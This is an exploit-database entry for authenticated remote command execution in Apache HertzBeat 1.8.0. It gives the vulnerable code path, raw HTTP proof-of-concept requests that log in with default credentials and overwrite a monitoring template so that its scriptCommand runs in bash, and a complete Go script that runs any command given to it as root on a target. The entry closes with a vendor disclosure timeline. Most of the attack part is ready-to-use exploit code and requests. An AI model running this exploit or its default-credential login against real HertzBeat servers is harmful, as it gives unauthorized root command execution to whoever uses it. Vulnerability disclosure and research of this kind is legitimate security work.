Share
## https://sploitus.com/exploit?id=PACKETSTORM:221083
# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution 
    # Google Dork: N/A
    # Date: 2026-03-09
    # Exploit Author: Brett Gervasoni
    # Vendor Homepage: https://hertzbeat.apache.org/
    # Software Link: https://github.com/apache/hertzbeat/releases
    # Version: 1.8.0
    # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
    # CVE: N/A
    
    ================================================================================
    METADATA
    ================================================================================
    
    Severity: CRITICAL
    Impact: Arbitrary command execution via monitoring template (script protocol)
    CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
    Product: Apache HertzBeat โ€” https://hertzbeat.apache.org/ (v1.8.0)
    Affected Component: ScriptCollectImpl.collect()
    Affected Endpoint: PUT /api/apps/define/yml
    Authentication: Required (standard user or admin)
    
    Note: Apache Security does not classify this as a vulnerability; see HertzBeat
    security model: https://hertzbeat.apache.org/docs/help/security_model/
    
    ================================================================================
    VULNERABILITY SUMMARY
    ================================================================================
    
    HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
    parameter in a monitoring template definition.
    
    An authenticated user can overwrite a monitoring template definition via
    PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
    When the YAML specifies protocol: script, the attacker-controlled scriptCommand
    string is passed to ProcessBuilder (bash -c "<command>") without sanitization.
    
    If the overwritten template has active monitoring instances, updateAppCollectJob()
    re-dispatches them, triggering execution within seconds. If none exist, the
    attacker can create one via POST /api/monitor to trigger immediate execution.
    
    The default Docker deployment runs the process as root (uid=0).
    
    ================================================================================
    VULNERABLE CODE (REFERENCE)
    ================================================================================
    
    Sink โ€” ScriptCollectImpl.java (approx. lines 74โ€“114) โ€” direct execution:
    
        public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
            ScriptProtocol scriptProtocol = metrics.getScript();
            // ...
            if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
                switch (scriptProtocol.getScriptTool()) {
                    case BASH -> processBuilder = new ProcessBuilder(
                        BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                    // ...
                }
            }
            // ...
            Process process = processBuilder.start();  // executed
        }
    
    YAML gadget blocking โ€” AppController.java (approx. 55โ€“59) โ€” blocks SnakeYAML
    gadget strings, not shell command injection:
    
        private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
                "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
                "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
                "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
                "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
                "InflaterOutputStream", "FileOutputStream"};
    
    ================================================================================
    PROOF OF CONCEPT โ€” RAW HTTP
    ================================================================================
    
    Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
    standard user "operator" / "hertzbeat" (user role); admin with default
    password also works.
    
    --- Step 1: Authenticate ---
    
    POST /api/account/auth/form HTTP/1.1
    Host: TARGET:1157
    Content-Type: application/json
    
    {"type":1,"identifier":"operator","credential":"hertzbeat"}
    
    Response: data.token (JWT) โ€” use as Bearer below.
    
    --- Step 2: Overwrite linux_script template ---
    
    PUT /api/apps/define/yml HTTP/1.1
    Host: TARGET:1157
    Authorization: Bearer <JWT>
    Content-Type: application/json
    
    {"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: id > /tmp/pwned\n      parseType: multiRow\n"}
    
    Decoded define (YAML):
    
    app: linux_script
    category: os
    name:
      en-US: Linux Script
      zh-CN: Linux Script
    params:
      - field: host
        name:
          en-US: Host
          zh-CN: Host
        type: host
        required: true
    metrics:
      - name: basic
        i18n:
          en-US: Basic
          zh-CN: Basic
        priority: 0
        fields:
          - field: result
            type: 1
            i18n:
              en-US: Result
              zh-CN: Result
        protocol: script
        script:
          scriptTool: bash
          charset: UTF-8
          scriptCommand: id > /tmp/pwned
          parseType: multiRow
    
    Expected response:
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {"code":0,"msg":null,"data":null}
    
    --- Step 3: Create monitor (if no linux_script monitors exist) ---
    
    POST /api/monitor HTTP/1.1
    Host: TARGET:1157
    Authorization: Bearer <JWT>
    Content-Type: application/json
    
    {"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}
    
    --- Step 4: Verify (example: Docker) ---
    
    docker exec hertzbeat cat /tmp/pwned
    
    Expected:
    
    uid=0(root) gid=0(root) groups=0(root)
    
    ================================================================================
    EXPLOIT CODE โ€” script_command_rce.go (Go)
    ================================================================================
    
    package main
    
    import (
    	"bytes"
    	"encoding/json"
    	"fmt"
    	"io"
    	"math/rand"
    	"net/http"
    	"os"
    	"strings"
    )
    
    const target = "http://localhost:1157"
    
    type authResponse struct {
    	Code int `json:"code"`
    	Data struct {
    		Token string `json:"token"`
    	} `json:"data"`
    }
    
    type apiResponse struct {
    	Code int    `json:"code"`
    	Msg  string `json:"msg"`
    }
    
    func main() {
    	if len(os.Args) < 2 {
    		fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
    		fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
    		os.Exit(1)
    	}
    	cmd := strings.Join(os.Args[1:], " ")
    
    	fmt.Println("============================================================")
    	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
    	fmt.Println("============================================================")
    	fmt.Println()
    
    	fmt.Println("[*] Authenticating...")
    
    	token, err := authenticate()
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
    		os.Exit(1)
    	}
    
    	fmt.Printf("[+] Got token: %s...\n\n", token[:40])
    
    	fmt.Println("[*] Overwriting linux_script template...")
    	fmt.Printf("    PUT /api/apps/define/yml\n")
    	fmt.Printf("    scriptCommand: %s\n", cmd)
    
    	err = putMaliciousDefine(token, cmd)
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
    		os.Exit(1)
    	}
    
    	fmt.Println("[+] Template overwritten.")
    	fmt.Println()
    
    	fmt.Println("[*] Creating monitor instance to trigger collection...")
    	fmt.Println("    POST /api/monitor with app: linux_script")
    
    	err = createMonitor(token)
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
    		fmt.Println("[*] This may fail if a monitor already exists โ€” checking anyway...")
    	} else {
    		fmt.Println("[+] Monitor created.")
    		fmt.Println()
    	}
    
    	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
    	fmt.Printf("[+] Command: %s\n\n", cmd)
    	fmt.Println("[*] Verify with (assuming its running in docker locally):")
    	fmt.Println("    docker exec hertzbeat <check your payload>")
    }
    
    func authenticate() (string, error) {
    	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
    
    	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
    	if err != nil {
    		return "", err
    	}
    
    	defer resp.Body.Close()
    
    	var result authResponse
    	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
    		return "", err
    	}
    
    	if result.Code != 0 || result.Data.Token == "" {
    		return "", fmt.Errorf("unexpected response code %d", result.Code)
    	}
    
    	return result.Data.Token, nil
    }
    
    func putMaliciousDefine(token, command string) error {
    	define := fmt.Sprintf(`app: linux_script
    category: os
    name:
      en-US: Linux Script
      zh-CN: Linux Script
    params:
      - field: host
        name:
          en-US: Host
          zh-CN: Host
        type: host
        required: true
    metrics:
      - name: basic
        i18n:
          en-US: Basic
          zh-CN: Basic
        priority: 0
        fields:
          - field: result
            type: 1
            i18n:
              en-US: Result
              zh-CN: Result
        protocol: script
        script:
          scriptTool: bash
          charset: UTF-8
          scriptCommand: "%s && echo result done"
          parseType: multiRow
    `, command)
    
    	payload, _ := json.Marshal(map[string]string{"define": define})
    
    	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("Authorization", "Bearer "+token)
    
    	resp, err := http.DefaultClient.Do(req)
    	if err != nil {
    		return err
    	}
    
    	defer resp.Body.Close()
    
    	respBody, _ := io.ReadAll(resp.Body)
    
    	var result apiResponse
    	if err := json.Unmarshal(respBody, &result); err != nil {
    		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
    	}
    
    	if result.Code != 0 {
    		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
    	}
    
    	return nil
    }
    
    func createMonitor(token string) error {
    	suffix := randSuffix()
    	name := fmt.Sprintf("rce-poc-%s", suffix)
    	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)
    
    	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("Authorization", "Bearer "+token)
    
    	resp, err := http.DefaultClient.Do(req)
    	if err != nil {
    		return err
    	}
    
    	defer resp.Body.Close()
    
    	respBody, _ := io.ReadAll(resp.Body)
    	var result apiResponse
    	if err := json.Unmarshal(respBody, &result); err != nil {
    		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
    	}
    
    	if result.Code != 0 {
    		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
    	}
    	return nil
    }
    
    func randSuffix() string {
    	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    	b := make([]byte, 8)
    
    	for i := range b {
    		b[i] = chars[rand.Intn(len(chars))]
    	}
    
    	return string(b)
    }
    
    ================================================================================
    NOTES
    ================================================================================
    
    - A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
      not required for the described flow.
    - A new custom app name (e.g. app: rce_custom) can be registered with POST
      instead of PUT to avoid overwriting an existing definition; then create a
      monitor for that app.
    
    ================================================================================
    DISCLOSURE / VENDOR RESPONSE (SUMMARY)
    ================================================================================
    
    Apache Security indicated this aligns with the documented security model: only
    trusted operators should receive accounts; customization is intentional.
    Role-based permission controls are still evolving; see vendor documentation.
    
    Reporting timeline:
    - 2026-02-19: Reported to Apache Security
    - 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
    - 2026-03-04: Apache position communicated (risk accepted per security model)
    - 2026-03-09: Public advisory